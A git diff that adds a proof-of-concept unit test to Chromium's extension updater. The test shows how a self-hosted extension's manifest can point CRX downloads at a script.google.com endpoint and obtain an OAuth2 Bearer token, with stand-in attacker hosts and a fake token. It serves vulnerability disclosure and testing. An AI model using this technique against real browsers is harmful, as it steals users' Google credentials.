diff --git a/chrome/browser/extensions/updater/extension_updater_unittest.cc b/chrome/browser/extensions/updater/extension_updater_unittest.cc index 8ef560baf8c95..7f8e69db45b65 100644 --- a/chrome/browser/extensions/updater/extension_updater_unittest.cc +++ b/chrome/browser/extensions/updater/extension_updater_unittest.cc @@ -1980,6 +1980,262 @@ class ExtensionUpdaterTest : public testing::Test { } } + // =========================================================================== + // VULNERABILITY POC: OAuth2 escalation gate keyed on attacker-controlled + // crx_url instead of trusted update_url. + // + // The OAuth2 credential-escalation gate at extension_downloader.cc:1425 + // reads: + // + // if (fetch->url.DomainIs(kGoogleDotCom) && identity_manager_) { + // fetch->credentials = ExtensionFetch::CREDENTIALS_OAUTH2_TOKEN; + // + // Here, `fetch->url` is the CRX download URL, taken directly from the + // `codebase` attribute of the update-manifest XML returned by the + // extension's update server (safe_manifest_parser.cc:102, validated only + // with GURL::is_valid()). It is NOT the trusted `update_url` baked into + // the extension's manifest at install time. + // + // A self-hosted extension (update_url = https://attacker.example.com/...) + // can therefore serve a manifest with + // codebase="https://script.google.com/macros/s/ATTACKER_SCRIPT_ID/exec" + // and trigger the full NONE -> OAUTH2_TOKEN -> COOKIES escalation chain. + // + // url::DomainIs("google.com") performs suffix matching with a dot + // boundary, so any *.google.com host matches, including endpoints under + // attacker influence such as Google Apps Script web-apps. + // + // EXPECTED (secure) behavior: + // No OAuth2 attempt: the extension's trusted update_url is NOT a + // google.com property, so Google credentials should never be attached. + // + // ACTUAL (vulnerable) behavior demonstrated by this method returning + // without assertion failure: + // OAuth2 access token IS fetched and the Authorization: Bearer header + // IS attached to the retry request, headed for the attacker-chosen + // *.google.com endpoint. + // =========================================================================== + void TestOAuth2EscalationKeyedOnAttackerControlledCrxUrl() { + // ------------------------------------------------------------------------- + // ATTACKER MODEL + // ------------------------------------------------------------------------- + // The extension was installed with this update_url. It is fixed at + // install time and is the *trusted* origin for update decisions. + // It is clearly NOT a google.com property. + const GURL kAttackerUpdateUrl("https://attacker.example.com/update.xml"); + + // The attacker's update server returns an XML manifest containing: + // + // This URL is fully attacker-controlled (it comes from the manifest + // body), but its host suffix-matches "google.com", so + // DomainIs("google.com") returns true. Google Apps Script web-apps live + // under exactly this pattern. + const GURL kAttackerSuppliedCrxUrl( + "https://script.google.com/macros/s/ATTACKER_SCRIPT_ID/exec"); + + // Sanity: confirm the trust mismatch the gate fails to notice. + ASSERT_FALSE(kAttackerUpdateUrl.DomainIs("google.com")) + << "Precondition: trusted update_url is NOT a google.com property"; + ASSERT_TRUE(kAttackerSuppliedCrxUrl.DomainIs("google.com")) + << "Precondition: attacker-supplied crx_url IS a google.com property"; + + // ------------------------------------------------------------------------- + // SETUP -- mirrors TestProtectedDownload but with explicit update_url + // ------------------------------------------------------------------------- + ExtensionDownloaderTestHelper helper; + TestDownloaderFactory factory(helper.url_loader_factory()); + TestCrxInstallerFactory crx_installer_factory; + + // identity_manager_ is set unconditionally in production builds + // (chrome_extension_downloader_factory.cc), so use the authenticated + // factory to mirror real-world conditions. + ExtensionUpdater updater(profile()); + updater.InitAndEnable(extension_prefs(), pref_service(), kUpdateFrequency, + nullptr, + factory.GetAuthenticatedDownloaderFactory()); + updater.set_crx_installer_factory_for_test(&crx_installer_factory); + + MockExtensionDownloaderDelegate downloader_delegate; + downloader_delegate.DelegateTo(&updater); + factory.OverrideDownloaderDelegate(&downloader_delegate); + + updater.Start(); + updater.EnsureDownloaderCreated(); + updater.downloader_->extensions_queue_.set_backoff_policy( + kNoBackoffPolicy); + + // ------------------------------------------------------------------------- + // SIMULATE POST-MANIFEST-PARSE STATE + // + // In production, this state is reached as follows: + // 1. ExtensionDownloader fetches kAttackerUpdateUrl (trusted). + // 2. Attacker's server returns XML with codebase=kAttackerSuppliedCrxUrl. + // 3. safe_manifest_parser.cc:102 reads codebase verbatim into crx_url + // (only GURL::is_valid() is checked, no origin/host validation). + // 4. extension_downloader.cc:807 reads crx_url from the parse result. + // 5. extension_downloader.cc:821-824 constructs ExtensionFetch with + // url = crx_url (the attacker-controlled value). + // + // The ExtensionDownloaderTask carries the *trusted* update_url, but the + // gate at line 1425 never consults it; it only checks fetch->url. + // ------------------------------------------------------------------------- + const std::string kExtensionId(32, 'a'); + const std::string kEmptyHash; + const base::Version kVersion("0.0.1"); + + // The task records the trusted update_url. A correct implementation + // would check task.update_url at the escalation gate. The buggy + // implementation ignores it. + ExtensionDownloaderTask task = + CreateDownloaderTask(kExtensionId, kAttackerUpdateUrl); + ASSERT_EQ(kAttackerUpdateUrl, task.update_url) + << "Task carries the trusted update_url (which the gate ignores)"; + + // ExtensionFetch::url is the attacker-controlled crx_url. This is what + // the buggy gate at line 1425 actually checks. + auto extension_fetch = + std::make_unique( + std::move(task), kAttackerSuppliedCrxUrl, kEmptyHash, + kVersion.GetString(), DownloadFetchPriority::kBackground); + + updater.downloader_->FetchUpdatedExtension(std::move(extension_fetch), + std::nullopt); + + // ------------------------------------------------------------------------- + // FIRST FETCH: CREDENTIALS_NONE -> 403 + // + // The first request to the attacker's *.google.com endpoint carries no + // credentials. The attacker's endpoint returns 403 Forbidden to trigger + // IterateFetchCredentialsAfterFailure (extension_downloader.cc:1308). + // ------------------------------------------------------------------------- + { + // Confirm the first request carries no Authorization header. + const net::HttpRequestHeaders& first_headers = + updater.downloader_ + ->last_extension_loader_resource_request_headers_for_testing_; + ASSERT_FALSE( + first_headers.HasHeader(net::HttpRequestHeaders::kAuthorization)) + << "Sanity: first fetch (CREDENTIALS_NONE) has no Authorization " + "header"; + } + + EXPECT_CALL(downloader_delegate, OnExtensionDownloadRetryForTests()) + .WillOnce(DoAll( + InvokeWithoutArgs(&downloader_delegate, + &MockExtensionDownloaderDelegate::Quit), + InvokeWithoutArgs( + &helper, + &ExtensionDownloaderTestHelper:: + ClearURLLoaderFactoryResponses))); + helper.test_url_loader_factory().AddResponse( + kAttackerSuppliedCrxUrl.spec(), "", net::HTTP_FORBIDDEN); + downloader_delegate.Wait(); + + // ------------------------------------------------------------------------- + // *** THE VULNERABILITY *** + // + // After the 403, IterateFetchCredentialsAfterFailure runs: + // + // case ExtensionFetch::CREDENTIALS_NONE: + // if (fetch->url.DomainIs(kGoogleDotCom) && identity_manager_) { + // fetch->credentials = ExtensionFetch::CREDENTIALS_OAUTH2_TOKEN; + // + // fetch->url is kAttackerSuppliedCrxUrl ("script.google.com"), so + // DomainIs("google.com") returns TRUE. The gate fires. Chrome now + // requests an OAuth2 access token from the IdentityManager. + // + // A correct implementation would check the task's update_url + // (attacker.example.com) and skip OAuth2 entirely. + // + // If the call below returns (rather than hanging), Chrome HAS issued + // an OAuth2 token request, proving the gate fired. + // ------------------------------------------------------------------------- + factory.identity_test_env() + ->WaitForAccessTokenRequestIfNecessaryAndRespondWithToken( + factory.account_id(), kFakeOAuth2Token, base::Time::Now()); + + // ------------------------------------------------------------------------- + // *** PROOF: Authorization: Bearer attached to attacker-chosen URL *** + // + // After the token fetch succeeds, OnAccessTokenFetchComplete + // (extension_downloader.cc:1480-1483) attaches: + // + // Authorization: Bearer + // + // ...to the retry request, which goes to kAttackerSuppliedCrxUrl + // (script.google.com/macros/s/ATTACKER_SCRIPT_ID/exec). + // + // The attacker chose this URL. The bearer token (chromewebstore.readonly + // scope) is sent to it. + // ------------------------------------------------------------------------- + ASSERT_TRUE(updater.downloader_->extension_loader_) + << "Retry loader should be active after credential escalation"; + + // Confirm escalation state: the active fetch is now in OAUTH2 mode. + const ExtensionDownloader::ExtensionFetch& active_fetch = + *updater.downloader_->extensions_queue_.active_request(); + EXPECT_EQ(ExtensionDownloader::ExtensionFetch::CREDENTIALS_OAUTH2_TOKEN, + active_fetch.credentials) + << "[BUG] Credential mode escalated to OAUTH2_TOKEN despite " + "non-Google trusted update_url"; + EXPECT_EQ(kAttackerSuppliedCrxUrl, active_fetch.url) + << "Escalated request still targets the attacker-chosen URL"; + + // Confirm the Bearer header is attached. + const net::HttpRequestHeaders& retry_headers = + updater.downloader_ + ->last_extension_loader_resource_request_headers_for_testing_; + const std::string auth_header = + retry_headers.GetHeader(net::HttpRequestHeaders::kAuthorization) + .value_or(std::string()); + + EXPECT_TRUE( + retry_headers.HasHeader(net::HttpRequestHeaders::kAuthorization)) + << "[BUG] Authorization header is present on a request whose " + "destination URL was supplied by a non-Google update server"; + EXPECT_EQ(base::StringPrintf("Bearer %s", kFakeOAuth2Token), auth_header) + << "[BUG] OAuth2 Bearer token attached to attacker-chosen " + "*.google.com URL"; + + // ------------------------------------------------------------------------- + // Summary printed to test output for the report: + // ------------------------------------------------------------------------- + fprintf( + stderr, + "\n" + "+=====================================================+\n" + "| VULNERABILITY CONFIRMED |\n" + "+=====================================================+\n" + "| Trusted update_url (install-time, fixed): |\n" + "| %s\n" + "| -> DomainIs(\"google.com\") = FALSE |\n" + "| |\n" + "| Attacker crx_url (from manifest XML codebase attr): |\n" + "| %s\n" + "| -> DomainIs(\"google.com\") = TRUE |\n" + "| |\n" + "| Gate checked: crx_url (WRONG, attacker-controlled) |\n" + "| Result: CREDENTIALS_NONE -> CREDENTIALS_OAUTH2_TOKEN |\n" + "| |\n" + "| Authorization header on retry: |\n" + "| %s\n" + "+=====================================================+\n" + "\n", + kAttackerUpdateUrl.spec().c_str(), + kAttackerSuppliedCrxUrl.spec().c_str(), auth_header.c_str()); + + // ------------------------------------------------------------------------- + // CLEANUP -- let the retry complete to avoid hangs at teardown. + // ------------------------------------------------------------------------- + EXPECT_CALL(downloader_delegate, OnExtensionDownloadFailed(_, _, _, _, _)) + .WillOnce(InvokeWithoutArgs(&downloader_delegate, + &MockExtensionDownloaderDelegate::Quit)); + helper.test_url_loader_factory().AddResponse( + kAttackerSuppliedCrxUrl.spec(), "", net::HTTP_NOT_FOUND); + downloader_delegate.Wait(); + } + // Two extensions are updated. If |updates_start_running| is true, the // mock extensions service has CreateUpdateInstaller(...) return the // fake CrxInstallers created by the test. Otherwise, CreateUpdateInstaller() @@ -2519,6 +2775,18 @@ TEST_F(ExtensionUpdaterTest, ProtectedDownloadFailWithoutHTTPS) { 0, 0); } +// VULNERABILITY POC: OAuth2 escalation gate keyed on attacker-controlled +// crx_url instead of trusted update_url. See +// TestOAuth2EscalationKeyedOnAttackerControlledCrxUrl for full details. +// +// This test PASSING (all EXPECT_* succeeding) is the proof of the bug: +// it asserts that an OAuth2 Bearer token IS attached to a request whose +// destination URL was chosen by a non-Google update server. +TEST_F(ExtensionUpdaterTest, + VULN_OAuth2EscalationKeyedOnAttackerControlledCrxUrl) { + TestOAuth2EscalationKeyedOnAttackerControlledCrxUrl(); +} + TEST_F(ExtensionUpdaterTest, TestMultipleExtensionDownloadingUpdatesFail) { TestMultipleExtensionDownloading(false); }